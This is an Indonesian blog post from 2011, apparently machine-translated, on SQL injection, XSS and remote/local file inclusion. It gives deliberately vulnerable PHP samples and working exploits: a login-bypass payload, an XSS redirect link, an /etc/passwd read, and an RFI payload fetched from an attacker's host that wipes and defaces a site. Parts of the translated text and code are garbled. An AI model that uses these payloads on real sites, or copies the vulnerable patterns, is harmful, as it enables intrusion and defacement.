Sabtu, 15 Oktober 2011

Sql inj, Xss,RFI

Common Web-Script Vulnerabilities

Dalam bagian ini, saya akan menulis tentang kerentanan dalam server web server-sided kode. Berikut adalah topik yang saya akan meliputi:

* SQL Injection
* XSS (Cross-Site Scripting)
* RFI / LFI (Remote / Local File Include)

SQL Injection
Deskripsi
Injeksi SQL adalah tindakan injeksi Anda sendiri, adat-crafted perintah SQL ke web-script sehingga Anda dapat memanipulasi database dengan cara apapun yang Anda inginkan. Beberapa contoh penggunaan SQL injection: Bypass login verifikasi, menambahkan account admin baru, angkat sandi, angkat rincian kartu kredit, dll; Anda dapat mengakses segala sesuatu yang ada di database.

Contoh Rentan Kode - login.php (PHP / MySQL)
Berikut adalah contoh kode login yang rentan
PHP
<?php
$user = $_POST['u'];
$pass = $_POST['p'];

if (!isset($user) || !isset($pass)) {
echo("<form method=post><input type=text name=u value=Username><br /><input type=password name=p value=Password><br /><input type=submit value=Login></form>");
} else {
$sql = "SELECT `IP` FROM `users` WHERE `username`='$user' AND `password`='$pass'";
$ret = mysql_query($sql);
$ret = mysql_fetch_array($ret);
if ($ret[0] != "") {
echo("Welcome, $user.");
} else {
echo("Incorrect login details.");
}
}
?>

Pada dasarnya apa yang dilakukan kode ini, adalah mengambil username dan password masukan, dan mengambil IP pengguna dari database dalam rangka untuk memeriksa validitas username / password combo.

Pengujian Input Untuk Vulnerability
Hanya membuang " '" ke dalam masukan, dan melihat apakah output kesalahan, jika demikian, mungkin yang disuntikkan. Jika tidak menampilkan apa-apa, mungkin injeksi, dan jika demikian, Anda akan berurusan dengan injeksi SQL buta yang setiap orang bisa mengatakan tidak menyenangkan. Lain, bukan disuntikkan.

Contoh Exploit
Andaikan saja kita mengetahui username admin Administrator dan kami ingin masuk ke rekening. Karena kode tidak menyaring masukan kami, kami dapat memasukkan apa pun yang kita inginkan ke dalam pernyataan, dan hanya membiarkan diri masuk Untuk melakukan hal ini, kami hanya akan menempatkan "Administrator" di dalam kotak nama pengguna, dan " 'OR 1 = 1 -- - "ke dalam kotak password; yang dihasilkan query SQL yang akan dijalankan terhadap database akan" SELECT `IP` FROM `user` WHERE `username` = 'Admin' AND `password =''OR 1 = 1 - '" . Karena "OR 1 = 1", itu akan memiliki kemampuan untuk mengabaikan sandi persyaratan, karena seperti yang kita semua tahu, logika "OR" hanya memerlukan satu pertanyaan untuk menghasilkan benar untuk mencapai sukses, dan sejak 1 selalu sama dengan 1, ia bekerja; yang "-" adalah 'komentar' karakter untuk SQL yang berarti mengabaikan semuanya setelah itu, jika tidak yang terakhir " '" akan merusak sintaks, dan hanya menyebabkan permintaan gagal.

XSS (Cross-Site Scripting)
Deskripsi
Celah ini memungkinkan penyerang masukan untuk dikirim ke korban tidak curiga. Penggunaan utama untuk kerentanan ini adalah mencuri cookie, jika seorang penyerang mencuri cookie Anda, mereka dapat login ke situs apa pun mereka mencuri cookie Anda dari bawah account Anda (biasanya, dan dengan asumsi Anda log in pada saat itu.)

Contoh Rentan Kode - search.php (PHP)

<?php
$s = $_GET['search'];
// a real search engine would do some database stuff here
echo("You searched for $s. There were no results found");
?>

Pengujian Input Untuk Vulnerability
Untuk ini, kita uji dengan melemparkan beberapa HTML ke mesin pencari, seperti "<font color=red> XSS </ font>". Jika situs rentan terhadap XSS, Anda akan melihat sesuatu seperti ini: XSS, lain, itu tidak rentan.

Contoh Kode Exploit (Redirect)
Karena kita berarti, kita ingin mengarahkan korban untuk goatse (tidak terlihat bahwa jika Anda tidak tahu apa itu) dengan menipu mereka untuk mengklik link menunjuk ke "search.php? Search = <script > window.location = 'http://goatse.cz/' </ script> ". Ini akan menampilkan "You searched for <script> window.location = 'http://goatse.cz/' </ script>. Tak ada hasil ditemukan" (HTML) dan dengan asumsi browser target mendukung JS (JavaScript) yang semua browser modern lakukan apabila pengaturan dimatikan, itu akan mengarahkan mereka untuk goatse.

RFI / LFI (Remote / Local File Include)
Deskripsi
Celah ini memungkinkan pengguna untuk memasukkan remote atau file lokal, dan memilikinya parsing dan dijalankan pada server lokal.

Contoh Rentan Kode - index.php (PHP)

<?php
$page = $_GET['p'];
if (isset($page)) {
include($page);
} else {
include("home.php");
}
?>


Pengujian Input Untuk Vulnerability
Cobalah mengunjungi "index.php? P = http://www.google.com/"; jika Anda melihat Google, sangat rentan terhadap RFI dan LFI akibatnya. Jika anda tidak tidak rentan terhadap RFI, tetapi masih mungkin rentan terhadap LFI. Dengan asumsi bahwa server yang digunakan * nix, coba melihat "index.php? P = / etc / passwd"; jika Anda melihat file passwd, itu rentan terhadap LFI; lain, itu tidak rentan terhadap RFI atau LFI.

Contoh Exploit
Katakanlah target rentan terhadap RFI dan kami upload kode PHP berikut

<?php
unlink("index.php");
system("echo Hacked > index.php");
?>

dan kemudian kita melihat "index.php? p = http://our.site.com/malicious.php" maka kode berbahaya kita akan dijalankan pada server mereka, dan dengan demikian, situs mereka hanya akan berkata 'Hacked' sekarang .

Tidak ada komentar:

Posting Komentar